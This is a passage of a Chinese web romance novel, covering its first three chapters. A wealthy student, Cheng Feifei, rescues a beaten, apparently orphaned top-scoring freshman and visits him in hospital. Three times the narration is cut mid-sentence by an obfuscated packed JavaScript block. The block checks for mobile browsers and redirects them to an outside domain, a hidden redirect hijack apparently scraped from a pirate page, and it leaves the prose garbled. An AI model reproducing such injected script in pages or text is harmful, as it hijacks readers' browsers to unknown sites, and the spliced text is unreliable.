《捕获清贫校草后》 1. 01 八月末的江城,火云如烧,闷热难当。 一条橙红色的江水穿城而过,在余晖的映照下,半江瑟瑟,层次分明。 近岸筑有深褐色的石堤。此刻,热风卷着浪尖拍在堤沿上,溅起阵阵金光,却也亮不过江堤之上炫目的KTV外墙。 透明的自动门徐徐打开,冷气漫溢而出。几个年轻女孩子相携着走出来,叽叽喳喳地聊着天。 缀在末尾的女孩垂着头,如瀑般乌黑的长发及腰,一条俏皮的细辫落在莹白圆润的肩头,看着十分纯美可爱。 旁边几人聊得火热,她却只盯着手机,不发一言。 “霏霏——” 走在队首的女孩子顿住脚步,不情不愿地回过头:“人家还没嗨够呢,不想回家。” “得了吧。”程霏霏收起手机,一侧眉梢轻抬,露出几分嫌弃,“你一个人唱了整个下午,我们几个全给你当陪衬了,还嫌不够?” “……让你这么一说,是有点不好意思。” 任可心揉了揉鼻头,眼珠子滴溜乱转:“要怪,只能怪你家的音响太好,我一不小心,就唱上了头!” 一行人很快溜达到街口。 任可心仍不死心,对着旁边的几个人疯狂邀约:“姐妹们,今天是不是挺来劲儿的?趁着开学前,咱们再聚一次吧!” 女孩子们笑得一言难尽,装作没听见,纷纷钻进了等候多时的出租车里。 任可心无所谓地耸了耸肩,转过身,望着队伍末尾、独自愣神的程霏霏。 心下无奈地叹了口气,她揶揄地调侃:“霏霏,我倾情献唱了三个小时,有没有让你开心一点?” 程霏霏垂着头,眼皮都没抬:“我不开心?” 任可心挑了挑眉,一副“这还用说”的表情。 “你开不开心,我闭上眼睛都能瞧得出来!说吧,是不是和那个李学长有关?” 心事被说中,程霏霏无话可说,舌尖顶了顶脸腮,剪水般的眸子心虚地一阵乱瞟。 任可心捧起她的脸颊:“程霏霏,天涯何处无芳草,何必独恋一棵朽木?” 程霏霏不服,一把拍开她的咸猪手:“是秀,木秀于林的秀!” 任可心瞥了一眼那几乎长在她手上、却一整天悄无声息的手机。 难怪大家都说,主动的总是有空,被偏爱的永远在忙。 她懒得再多费口舌,指尖一勾,拨弄了一把程霏霏耳朵上的吊坠。 “新买的?” 程霏霏终于露出一丝笑意,嘚瑟地一扬眉,将头发撩起来,露出完整的耳饰。 白皙的耳垂上,悬着一整颗水滴状的钻石,成色清透,在夕阳下泛着金灿灿的光泽。耳钉部位是一枚小巧的粉钻,粉钻的设计中和了水滴的贵气,透出几分少女的娇俏与活泼。 “罗女士送的,限量新款,怎么样?” 任可心捧场地竖起大拇指:“很顶,和我霏的颜值绝配!” 程霏霏弯了弯眼睛,对这个马屁很受用。 她招手拦下一辆出租车,打开车门,连推带搡地将话唠闺蜜塞了进去。 “麦霸大人,快回家歇歇嗓子吧,咱们开学见!” 隔着车窗,任可心依依不舍地同她挥手告别。 汽车扬长而去,一地尾气搅散了欢乐的气氛。空气很快冷寂下来,程霏霏收敛了唇边的笑容,重新划亮手机。 屏幕上干干净净的,什么也没有。 失落在心底无声蔓延。 她点开微信,置顶对话框里,“李泽昱”三个字安安静静地躺在那里。 最近一条信息是她昨晚上发过去的—— 【学长,最近好吗?快开学了,你回江城了吗?】 后面跟着一连串软萌萝莉的表情包。 “嗲兮兮的,他会喜欢吗?”程霏霏禁不住皱眉。 这些表情包都是从任可心那里搜罗来的,程霏霏嫌幼稚,自己从来不用。 可是,面对李泽昱的时候,莫名的就很想装乖。 她觉得,李泽昱那样温文尔雅、胸有丘壑的男人,大概率会喜欢乖巧又娴静的淑女。 程霏霏掏出小镜子,检查了一下聚会过后依旧无瑕的妆容,手指拨弄着簇新的耳坠。 这张脸已经乖巧娴静到不行,李泽昱没有理由不喜欢。 她“啪”的一声扣起镜子。 学长一定是因为什么别的原因,才没能及时回复她的微信! 想到李泽昱还没有回城,所剩不多的暑假余额一下子成了滋味全无的白开水。 程霏霏拖着百无聊赖的步伐往回走,KTV的冷气再次兜头而来。 还没将细微的汗意吹散,迎面便撞上一个穿着丝质黑衬衫的酷哥。 酷哥约莫二十五六岁,眉眼凌厉,自带一股桀骜不驯的气质。 看到她,肃然的眉间立即挂上了调侃的笑意:“是谁惹我们程大小姐不高兴了?” 程大小姐无精打采地拎起包包,沮丧地问:“你回家吗?捎我一程。” 程皓南点点头:“等着,我去跟琼姐说一声。” 他口中的琼姐,是这家KTV的老板娘罗美琼,程霏霏的亲妈。 程霏霏想到什么,眉心一蹙,抬手拍在脑门上:“差点忘了,今晚上我爸约吃饭!哥,咱们得去趟杜溪。” * 时值周末,路况畅通。车子很快驶上绕城高速,一个小时后,到达江城周边的一个县级市,名唤杜溪。 杜溪沿江,往前十年,还是一个渔业为主的贫困县。 近几年,外地的水产品大量涌入本地市场,冲击了杜溪的捕捞业,传统支柱产业遭到了毁灭性的打击。 万幸的是,托了山明水秀的福,杜溪又搞起了旅游经济,渐渐经营成了小有名气的康养胜地。 两年前,程霏霏的爸爸程广材和她们娘俩儿分居后,就在杜溪置办了一套宅院,过起了闲云野鹤的退休日子。 宅子的周围还有一处天然池塘,长满了蓬勃的芦苇。 程广材便因地制宜,养起了家禽,鸡鸭鹅的喂了好几群,目的只为吃。 他还专门请了据说是五星级饭店的退休大厨,上门来掌勺。 程广材无聊的时候,便把程霏霏叫过来,招待她一起品评“山中野味”。 “什么野味,分明是家养。” 程霏霏靠在汽车后座上,望着窗外黑洞洞的山棱,很有同理心地想,她爸大概是又寂寞了。 自己整个暑假净顾着瞎玩,电话没少打,人却没有出现过一回,的确应该来亲爹跟前尽尽孝。 很快,车子下了高速,进入杜溪的老县城。 穿过县城往南,便是富饶的沿江新区,也就是程霏霏此行的目的地。 而靠近高速路口的城北一带,是以前渔村的地界,没沾到什么发展的红利,真真称得上一句破败不堪。 此刻,车子停在路边,程霏霏无聊地坐在车子里,盯着灰扑扑的街道发呆。 矮旧的店铺挤挤挨挨,杂乱的招牌横七竖八地支棱着,街道昏暗破旧,没有一丁点省会城市该有的样子。 程霏霏嫌弃地想,那家味道不错的糖藕店,怎么偏要开在这么个破烂地方? 手机上,程皓南发来微信:【再等一会,这锅马上做好。】 程霏霏噘了噘嘴,有点不高兴,不过还是选择耐着性子等下去。翻了翻,手机上再无其他消息,被程霏霏丢到一旁。 屏幕的亮光映照着保养得宜的皮质座椅。车子没熄火,轻柔的冷气和惬意的轻音乐充斥着整个空间。 程霏霏嗅着精致的香氛味道,莫名觉得心烦,降下车窗,想要呼吸一口新鲜空气。 灼人的热浪瞬间扑面而至。 ……还是算了。 她刚要把窗户升上去,忽然听到旁边传来一阵沉闷的嘈杂声。 小城的傍晚,路上已经没什么人。城北这一带治安不好,游客不会过来,本地人也没几个愿意出门。 程霏霏算不上是好奇的性子,可今天本就心情不佳,又实在等得无聊,反正闲着也是闲着…… 她打开车门,循着那杂乱的声音,抬脚走了过去。 那声响听着近,实则离得挺远。 程霏霏沿着一条昏暗的巷子走了许久,才在小路的尽头,模模糊糊看到一群人。 准确地说,是四五个壮汉围着一个人。 墙头上,只一盏路灯孤单地亮着,程霏霏看不清这些人的脸,却依稀分辨出,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861472|159447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一道单薄的身影伏在地上,一动不动,难辨气息。 现场一片狼藉,尘土飞扬,像是刚刚结束一场殴斗。 为首的矮胖男子似乎没讨得好,嘴角都被揍得青紫。他哼笑一声,抬脚踩住地上那人的脊背,毫不留情地薅住他的头发,迫使他抬起头。 “小子,还敢还手?老子今儿就给你收拾服帖了!” 程霏霏吓了一跳。 地上的人双目紧闭,满脸都是血。 不知是不是心理作用,程霏霏觉得鼻腔里瞬间涌进来一股新鲜的血腥味儿。这味道刁钻得很,顷刻便入了脑,熏得她一阵头晕。 胖子的手下从角落捡起一只粘满泥土的书包,倒拎着抖了抖,里面的东西全部掉了出来。 “这什么玩意儿?” 手下用脚尖将那堆东西拨了拨,捡起一只文件夹,用沾血的手打开—— “呦,录取通知书啊。” 此话一出,旁边的人也凑过来看——长这么大,还没见过正儿八经的大学录取通知书长什么样,都想一饱眼福。 胖子却有些恼羞成怒,没等同伙看个分明,就将那纸鲜红的通知书一把抢了去,几下撕得粉碎。 “还上大学?想得美!” 他扬起满手的碎屑,任风将它们随意刮走。 “老子本来也能上大学的,要不是你那个死爹害得我家鸡犬不宁,老子会落榜?” 说着,又几脚猛踹了下去。 地上的人如同一具肉盾,纹丝不动。 程霏霏隐隐觉得,这样打下去,那个人可能会死在这儿。 这种场面对于一般小姑娘来说,早就吓得不知所措了,可程霏霏不是一般小姑娘。 她并不害怕,就是有点犹豫——自己还得赶回家吃晚饭呢,这桩闲事要管吗? 夜风忽起,将满地的纸屑吹得四散。其中一抹打着卷飞过来,停在程霏霏的脚边。 她下意识地捡了起来。 就在这时,地上那个看上去了无生气的人,忽然动了。 他的脸依旧朝下,肩背微微起伏了几息,嗓音沙哑,听着竟然像是在笑:“落榜也……别灰心……你虽然头脑简单……但四肢发达啊。” 那语气里的嘲讽,直接把程霏霏逗乐了。 惨到这个地步了,竟然还敢出言挖苦对方,这人是真不怕死啊? 果然,这句话立刻点燃了胖子的愤怒。 他咬牙切齿地原地转了几圈,在墙角拎起一块砖头,眼看就要往那人的后脑上招呼—— “等一下!” 这一声嚎得中气十足,把几位壮汉都吓得够呛。一回头,只见巷子里不知何时多了一个小姑娘。 姑娘长了一张莹白的小脸,五官十分清纯,长发披肩,盖住了两条细细的肩带。一身黑白细格的吊带裙配着亮黑色的皮鞋,在昏暗的巷子里熠熠生辉。 怎么看,都不像这种场合里会出现的人。 “你谁?”为首的胖子冷冷地质问。 “我谁也不是。”程霏霏笑得挺客气,指了指地上的人,“就是路过,碰巧看到你们在打人,过来凑个热闹。” 胖子皱眉:“凑什么热闹?你想跟他一样?” “大哥,有话好好说嘛,和气生财!”程霏霏露出好奇的表情,“你们为什么打他呀?是为人还是为钱?” “关你什么事!”胖子眼皮跳了跳,对手下使了个眼色,手下会意,立刻朝这边走过来。 “瞧我问的……”程霏霏讪笑着摆了摆手,“管它是为人还是为钱,都是能用钱解决的嘛!” 她低下头,开始在自己的小挎包里翻找。 找来找去,什么都没有。程霏霏眉头一皱,猛地想起,自己的手机还躺在车后座上呢。 这就尴尬了,装逼翻车现场么? 眼看着一位面色不善的大哥越走越近,程霏霏灵机一动,果断取下耳朵上的一只耳坠,举在身前。 水滴形的耳坠轻晃着,切割精细的钻石微微闪烁,在黯淡的光线下,依旧泛着柔润的亮泽。 “一只能卖这个数!” 程霏霏神秘兮兮地比了个数字,笑得像个谄媚的奸商:“几位大哥,愿不愿意给小妹一个说话的机会?” 2. 02 “什么意思?” 为首的胖子支棱着眉眼,有点搞不清楚当下的状况。 程霏霏指了指地上的人:“我想请几位大哥通融一回,放过他。” 胖子乐了:“小妞,知道他欠我多少钱吗?你这点儿,怕是不够。” “我知道不够,就先算个利息。” 程霏霏笑了笑,十分替胖子着想地说:“无论他欠你多少钱,你饶他一命,他才能活着赚钱还债啊。要是把他打死了,就什么都没了。” “而且——”她伸长脖子,仔细盯着几人的脸瞧,“几位大哥不是本地人吧?” 程霏霏抬起手,隔空指了指斜前的方向:“要不然,怎么连打人,都挑了个正对摄像头的地方呢?” 几个人一愣,震惊地回头,这才看清,角落的电线杆上真的挂了个探头一样的东西,被居民区的遮阳棚衬得不太明显,但的的确确是一只正在运行的监控。 胖子舔了舔后槽牙,恶狠狠地盯住地上的人——难怪这小子要往这个方向跑! 他刚想上前再给他一下,这时,巷子的另一端响起一道男声:“霏霏,你和谁在一起呢?” 几个人相互使了个眼色,旁边的大哥一把抢过程霏霏手里的耳坠,撒腿就跑。 程皓南提着刚做好的糖藕,一溜烟赶过来,震惊地望着前方:“那几个人是抢了你东西?我没看错吧?” 不待程霏霏应声,程皓南立刻掏出手机报警,嘴里念叨着:“真是吃了熊心豹子胆,敢抢我妹的东西!” 程霏霏也没解释,只是蹲下身,戳了戳地上的人。 “喂,你还活着吗?” 人趴在地上,毫无反应。 她试探着将手指伸到这人的鼻端,感到还有那么一丝薄弱的气息。 灼热的空气里,忽然飘来几丝水汽。程霏霏仰头望天,皱起了眉头。 那边,程皓南气愤地挂了电话,才注意到地上还有个人。 “呦,伤得这么重,得赶紧叫救护车。” “救护车怕是来不及。”程霏霏指了指阴云密布的天空,“哥,要下雨了。” 程皓南把糖藕塞进妹妹怀里,挽起袖子:“还是直接送医院吧。” 他蹲下身,小心地将人扶起。 程霏霏借着灯光仔细辨认,发现此人年纪不大,看着像是个学生。 那张录取通知书应该就是他本人的。 少年身量颀长,穿着简单的浅色T恤,在厮打中已经扯变了形。衣服上斑斑驳驳,被自己和别人的血染成大小不一的色块,糊在一起,触目惊心。 一张脸也已经鼻青脸肿,看不清模样。 程霏霏愣愣地盯着他头上一道清晰的伤口。 不知是被什么钝器打的,露出狰狞的血肉,动作之下,还不断有汩汩鲜血往外冒。 “别愣着,过来搭把手!” 程霏霏赶紧上前,不确定他身上还有没有别的伤,不敢伸手乱碰,只能勉强将人扶到程皓南的背上。 程皓南背起人,步伐如飞地往外走。 程霏霏则找到那只书包,将散落满地的杂物收拢起来,匆匆跟了上去。 车子一路往县医院疾驰。 车厢里甜甜的糖藕香气,很快被浓郁的血腥味覆盖。 程霏霏坐在副驾座位上,接受程皓南的盘问。 “刚才怎么不在车里等着,一个人跑去那种地方?” “是不是替人出头来着?” “你一个女孩子,怎么这么莽撞!万一遇到危险怎么办?那伙人连着你一起打怎么办?” 程霏霏听够了,不爽地转过头:“哥,你可是和陈浩南同名的人,怎么能这么怂!” “我怂?” 程皓南给她气笑了,表情一言难尽:“在这江城地界,敢说我程皓南怂的,你是头一个。” 程霏霏佯装失望地摇了摇头:“你不是我记忆中以一挑多的皓南哥了。” 程皓南混不吝地一笑,露出一口小白牙:“以前那是搞事业,又年轻,遇到的浑事儿也多。如今家里的生意发展成这样,你哥我怎么还能跟小混混一般见识?” “那几个都是混混吗?” “肯定啊。”程皓南一副极为看不上的样子,“给人打成这样,估计是收钱办事。听你的描述,应该是领头那胖子雇的人,来收拾后头躺着的这小子的。” 程霏霏回过头,看了一眼后座上的人。 少年的呼吸很安静,几乎难以察觉他的气息。头发被鲜血打湿,粘在看不清五官的脸颊上,遮住了眉眼。 路灯的光斑在糊满血渍的衣襟上掠过,影影绰绰地映在单薄的身躯上,令他整个人有种飘忽的脆弱感,仿佛下一秒就要化作蝴蝶乘风而去。 程霏霏发愁地想,这人还有气吗,可别死在路上啊。 这时候,积攒了整晚的积雨终于从天而降,噼里啪啦地砸在车顶上,节奏杂乱无章,却又带着莫名安定人心的力量。 对面车道上,硕大的远光灯圈一闪而过,将车里的一切照得煞白。 程霏霏条件反射地闭了闭眼。 炫目的光晕中,少年的眼睛睁开了一条缝,目光穿过杂乱的发丝,静静地落在她脸上。 * 手术室的灯光骤然亮起。 程霏霏吐出一口浊气,歪倒在等候区的椅子上,彻底卸了力。 好人好事真不好做! 她环顾四周,仔细观摩了一番这家县医院,看上去……好像还行? 这几年,江城市大兴周边区域开发,基础设施跟进得及时,县医院也建了新楼。甭管医术如何,起码,硬件看起来还算靠谱。 “咕噜——” 空空如也的肚子恰到好处地响了起来,在寂静的走廊上格外明显。 程霏霏苦笑了一下,眼睛瞟向医院墙上的时钟,嘴角一垮——都半夜了,她还没吃晚饭呢,难怪这么饿。 程皓南走了过来,拿着一手乱七八糟的单据,被他胡乱塞进了外套口袋。 一屁股坐进椅子里。 这大半夜的,又是扛人又是办手续的,水都没喝上一口。 转头看到程霏霏紧皱的眉头,程皓南拍了拍她的肩膀:“放心,医院会好好治的。” 程霏霏盯着明亮的手术灯,还是有些犹豫:“可是……” “警察已经到了,他们会联系这孩子的家人。手术要好几个小时呢,咱们留在这里也帮不上忙,该回去了。” 程霏霏点点头,随着程皓南站起身。 兄妹俩迈着疲惫的脚步离开了医院。 * 程广材在家中守着一桌煎炸蒸煮的鸡鸭鹅,一直枯坐到深夜,才把闺女盼来。 一见面就吓了一跳:“你俩身上这血是怎么回事?” 程霏霏这才注意到,身上的裙子不知何时也蹭到了那个少年的血。 来不及细说,两人一个钻进一楼的卧室,一个奔上二楼,洗漱换衣服去了。 程霏霏仔细洗了个热水澡,把每一根头发丝上的血气都搓干净,用最香的沐浴乳打了两遍,确保自己无一丝异味以后,才慢悠悠地从卫生间里出来。 对着镜子吹头发的时候,她突发奇想——也不知道有没有人给医院里那个重伤的病号清理一下。 他的家人应该会做的吧? 晃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861473|159447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了晃脑袋,程霏霏继续吹着绸缎一般的长发,直到彻底干爽。 她从饰品盒里挑出一只发夹,熟练地将长发挽起,换上轻便的T恤短裤,下楼吃饭。 程皓南也洗了澡,此刻正湿着头发坐在餐桌边,啃一只鸭翅膀。 嚼着满嘴食物,依然不影响他滔滔不绝地对程广材讲述他们今晚见义勇为的经历。 说到程霏霏一个人半路下车去小巷里截胡的时候,程广材眉头一皱,抄起一只拖鞋,“啪”的一声正中程皓南的脑门。 “你一个大男人,干什么吃的,让霏霏去那么危险的地方?万一出事可怎么办!” “小叔!”程皓南抱着额头,一脸委屈,“我这不是去给琼……给婶婶买糖藕了嘛。” 身为罗美琼的下属,程皓南在工作场合还是非常职业地称呼一句“琼姐”,但在程广材面前却绝不敢这么叫。 莫名的第六感告诉他,这是个令程广材非常不喜的称呼。 果不其然,程广材面色稍虞。 程皓南觑着他的脸色,连忙狗腿地将那只拖鞋捡起来,送回他脚边。 程广材仿若无事发生一般,欣慰地拍了拍侄子的肩膀,一张弥勒佛似的笑脸这才转向刚刚下楼的女儿:“霏霏,洗这么久,饿了吧?我让厨师把这些菜全部热了一遍,来,趁热吃!” 一边说着话,一边拿起筷子,给女儿的盘子里连夹了好几只鸡腿。 程霏霏乖巧地坐下,识趣地将鸡腿叼进嘴里,装作不经意地问:“爸,杜溪的治安不怎么好啊,竟然有混混当街打人。” “嗐,不奇怪。” 程广材一边给闺女夹菜,一边叮嘱道:“北边那一带乱得很,都冲着老渔村开发来的,流动人口多,你以后少去。” 程霏霏嘴里剃着骨头,脑子飞快思考,眼珠子滴溜溜地转。 “爸,我今天见义勇为了,心里特自豪。我觉得,自己真不愧是您的女儿,颇有您年轻时的侠肝义胆之风!” 程广材搁下筷子,没好气地哼了一声:“行了,我可以不跟你妈讲。但以后,这么危险的事情不许再做!” 又指了指埋头吃饭的程皓南:“遇到事,让你哥上。” “记住了,谢谢爸!”程霏霏露出一个狗腿的笑,赶紧给亲爹的盘子里送上一枚大鹅蛋。 程广材笑眯眯地咂了一口杯中的黄酒,对着桌上的年轻人道:“我在生意场上起伏数十载,从一个简陋的小档口开始经营,摸爬滚打至今,各种危险的情况也是经历过不少……” 程霏霏知道,她爸又开始吹嘘自己的创业史了,立刻关闭五感,开始扒饭。 程广材是一个天生的生意人。 他初中毕业,没什么文化,最开始在体育公园旁边摆地摊,卖盗版录影带。 好在为人活泛,嘴巴利索,生意非常红火。赚了点小钱之后,立刻盘了店面,开始卖磁带,卖CD……一路随着华语流行音乐的发展,自个儿的事业也跟着高歌猛进。 如今,在江城市连开了数家KTV,自诩是江城“乐坛”的半壁江山。 两年前,忙于生意的程广材忽然查出了严重的身体问题,去国外动了个大手术。 回来之后,便决定激流勇退,养病为先,把事业交给罗美琼打理,自己跑到这山间“隐居”了起来。 程霏霏平时在江城上学,放假时才偶尔来一次。是以,程广材这些年大多是自己呆着,和一群家禽为伴。好不容易见到两个小辈,哪会轻易放他们回去。 说好的吃一顿饭,聊着聊着,就变成了小住几天。 暑假还剩不少日子,程霏霏觉得,多陪陪她爸也不错,便点头答应了。 3. 03 程霏霏做了一个梦。 梦里,天空漆黑一片,暗巷灯影幢幢,一个浑身是血的影子飘浮在半空中,嘶哑着嗓子问她:“闲的么?要救我。” 吓得她浑身一凛,“唰”地睁开眼睛。 屋子里日光大盛,已经是第二天早晨。 程霏霏吁出一口长气,在被窝里翻了个身。 凌晨下了一场小雨,很快便转了晴。初升的阳光穿过云层,驱散了池塘上朦胧的雾气。 轻柔的蚕丝被裹在身上,舒服得她不想睁眼。 昨天睡得晚,窗帘也没拉。此刻,晨风卷着薄纱扫在原木色的地板上,发出“沙沙”的响声,像安眠的白噪音,一点唤人起床的力道也没有。 若不是楼下三不五时的传来程皓南的鹅叫,程霏霏是一定要睡个回笼觉的。 那穿耳的魔音令她忍无可忍,一把掀开被子,赤着脚来到窗边。 只见楼下的小院里,程皓南正被一群禽类生物堵在墙角。 他看上去走投无路,脸上的肌肉都在抽搐,平日里精心打理的发型也被吓成了中分,再没有丝毫“小程总”的倜傥霸气。 程霏霏无语地摇了摇头——看来,坊间那些关于她哥的传说,八成都是他自己杜撰了放出去的自吹自擂,不能尽信。 来到洗手台前,程霏霏仔细盯着镜子瞧了半晌,确定没有被噩梦吓出黑眼圈来,这才叼着牙刷,打开手机,调出心爱的曲子,开始洗漱。 悠扬的小提琴独奏曲响彻整个二楼。 “怎么又是这首。”程广材身着一身运动装,红光满面地从楼梯走上来,看着像是刚刚晨练完。 “听得你爸耳朵都起茧了,换一首不行?” “这首《雨停》可是我偶像——羽婷老师的代表作。”程霏霏刷着牙,口齿不清地反驳,“百听不厌!” * 早餐桌上,程皓南不停地打喷嚏,一口咬定自己是鸭毛过敏。 在程氏父女俩嫌弃的目光中,他终于获得特赦,吃完早饭,赶紧滚蛋。 急吼吼地扒拉了两口菜粥,程皓南忙不迭地开车跑路了。程霏霏看着他哥一溜烟消失的尾气,默默决定,以后再也不能仗着有程皓南在,就无所顾忌地到处惹事。 万一对方关门放鸭子,那胜利岂不是唾手可得? 饭后,程霏霏在院子里逛了两圈,又跟着她爸去湖上钓了一会儿鱼。 钓鱼的间隙,一朵暗云随风飘来,在水面上投下独特的光影。程霏霏拿出手机,借着芦苇荡的背景,随意捏了几张自拍。 天光给照片渡上了最好的滤镜。照片上的程霏霏目光清婉,贝齿微露,俨然是一位楚楚可人的小仙女。 她的好朋友任可心总是吐槽——程霏霏这个人,外表看着柔弱可欺,内心却住了个天不怕、地不怕的女老大。 女老大程霏霏对自己白月光一般的外形无甚意见。 毕竟,从小到大,这小白花一样的清纯样貌给她带来了无数便利,省去了太多麻烦。让人看一眼就心生怜惜,还有比这更厉害的社交法宝吗? 若不是如此,也不会认识李泽昱了。 程霏霏往别墅走,一边将拍好的几张照片发朋友圈。 一刷新,看到室友黎玥的新动态:【暑假告一段落,即刻返校。】 程霏霏唇角一弯,点了个赞。 随着开学的临近,越来越多的同学都陆陆续续返回江城。 也不知道李学长回来了没有。 程霏霏躺在沙发上,无聊地刷新着朋友圈。 新照片底下,大拨点赞和留言纷至沓来,可就是没有她心心念念的那个人。 摁灭屏幕,她从沙发里仰卧起坐。 还是找点事情填充一下自己的生活吧,免得一天到晚惦记着一个遥远的男人。 * 半小时后,程霏霏站在县人民医院的导医台前,揪着工作人员,帮她找一个病号。 她不清楚对方的姓名,说不出任何个人特征,甚至连这人住在哪个科的病房都搞不清楚。 工作人员:“……” 一筹莫展之际,旁边走过一个年轻医生,看到她,立刻就认了出来。 “我记得你,昨天半夜那个病人就是你和你哥哥送来的吧?” 程霏霏眼睛一亮。 “警方至今联系不到他的家属。”医生对程霏霏说:“你跟我来吧。” 程霏霏连忙抬脚跟上。 路上,她好奇地问医生:“那个……联系不上家属是什么意思?” “就是说,这孩子好像没有家属。” 医生无奈地叹了口气:“伤得不轻,头部有钝器伤,断了根肋骨,腹腔积血,手臂骨折,大面积软组织挫伤……得住院观察一段时间。” “……” 一边说着,一边七拐八拐地带着程霏霏来到外科病房。 这是个多人间,条件一般般,看起来乱糟糟的,已经住了不少人。 程霏霏跟着大夫走到最里面的一张床,拉开帘子。 床上的人依旧闭着眼,清浅地呼吸着。头上和身上密密麻麻地缠着绷带,看上去有些可怖。 “今早晨醒过来一次,大概体力不支,这会儿又睡了。” 医生俯身检查了一番,确定没有大问题,嘱咐了几句便离开了。 程霏霏拖过一张凳子,在病床前坐下。 床上的人一动不动,除了在呼吸以外,几乎没有任何活着的特征。 程霏霏凑过去,隔着满脸的纱布,只能勉强看清两丛浓密的睫毛,很长很黑,像两把小扇子。 他的眼睛应该长得不错。 程霏霏支着脑袋,有点忧愁。 竟然没有家属吗? “诶,你该不会是个孤儿吧?” 她顿了顿,从自己的挎包里取出一张纸片,放在手心里抚平。 “知道我为什么救你吗?” 程霏霏将那枚纸片摆在少年的床头。 “江城大学录取通知书——你竟然是我的学弟呀,而且,还是拓知的学生呢。” 拓知理科实验班是江城大学单独招生的院系,以高昂奖学金闻名,专门吸纳优质高分考生。 这些学生入学后先学习理科通识课,暂不细分专业,有自己独立的考核体系。待升入高年级后,再根据个人意向进行专业方向的发展。 这个家伙能进拓知,可见是个学霸。学霸怎么能折在混混手里呢?程霏霏不允许。 身为一枚高考超常发挥、文化课好不容易达到录取线的艺术生,程霏霏葆有一个学渣对学霸的基本尊重。 她遗憾地叹道:“撕得这么碎,其余的部分也找不到了。你只能跟学校说明一下,再给你补一张通知书了。” 床上的人显然没有听到她的自言自语。 “医生说,他们联系不到你的家人——你是没有家人吗?” 考了这么好的成绩,没有人分享喜悦的话,也会有点寂寞的吧? 这时候,隔壁床有客人来访,乌泱泱得进来了一大帮人。 程霏霏回过头,看到这群人个个笑容满面,捧着满满的果篮,对床上的病号连连嘘寒问暖,病房里顿时一阵热闹。 她扫了眼少年床头空空如也的柜子,又看了看床上昏迷不醒的人,忽然就有点怜爱。 伤得这么重,也没有人来看看他。 此时,少年已经换上了干净的病号服,可露出的手臂上依然残留着泛黄的血渍。显然,并没有人帮他清理过。 程霏霏代入了一下,颇为忧愁地想,这样不干不净地躺着,八成很难受。 她来到病房外的走廊上,和干活的护工阿姨聊了聊,打听了一下附近可以买东西的地方。 医院旁边有一家简陋的生活超市,程霏霏在里面逛了一圈,挑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861474|159447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 选了几样必备的生活用品。 超市门口竟然还卖鲜花,大大小小的混在一起,插在盛满了水的塑料桶里。她挑拣一番,勉强凑齐了一束康乃馨。 花虽普通,送病号却正好。 店里没有任何拿得出手的包装,程霏霏只好用塑料绳将鲜花们捆在一起。 等她提着一大包东西回到病房的时候,床上的人竟然醒了。 少年的目光原本在房间里漫无目的地巡睃,却在她进门的一瞬间,就牢牢定格。 程霏霏迎着那锐亮的目光走过去,将东西通通堆在床头柜上,惊喜地问:“你醒啦?” 少年眨了眨眼,以示回应。 程霏霏心想,她猜得没错,这双眼睛果然生得很好看。 不同于虚弱的身体,少年的目光清晰而有神。 眼尾的弧度非常漂亮,茶色的瞳仁如反光的琥珀,看过来的时候,就像一汪清澈的淙泉,荡漾着来人的倒影。 只可惜,他胸前插着管子,此刻还不能讲话。 “你的情况……呃,有点严重。” 程霏霏斟酌了一下,觉得还是不要给病号太多压力,于是宽慰道:“你别担心,医生说手术很成功,你很快就会好起来的,安心养病。” 少年的眸光转淡,露出一丝无所谓的漠然,仿佛在说:我知道,没关系。 程霏霏一愣,眉毛忍不住抖了抖:“我觉得你不知道。” 少年的目光扫了回来。 “当时的情况那么危险,一个不小心,你可能连命都会丢掉!” 回想起那血淋淋的场景,程霏霏的表情有些严肃:“而你竟然还在激怒打你的人,我很难不怀疑你就是故意的。” 少年的眸光停在她脸上,带着些微的惊讶和探究。 “你这样,会让关心你的人难过的!” 程霏霏说着,又想起了关于他家人的推测,顿觉这话有些伤人,赶紧止住了话头:“……总之,我救了你,就是你的救命恩人。你,你要懂得感恩,尽快把身体养好,才能报答我的恩情!” 少年意外地看着她,很久都没有挪开目光。 被这样漂亮的眼睛目不转睛地注视着,程霏霏有些脸热,赶紧移开眼神,装模作样地归置了一番刚买的东西。 很快,床头的柜子上就摆满了生活用品。 粉白色的康乃馨也从塑料捆绳里释放出来,插在一只宽口饮料瓶里,恣意地舒展着花冠。 她拿出新买的毛巾,去洗手间洗干净了,递给床上的人:“你要不……自己擦一下?” 擦是没法自己擦的,可少年目光沉静,似乎并不在意这满身黏腻。 “我倒是……可以帮你。” 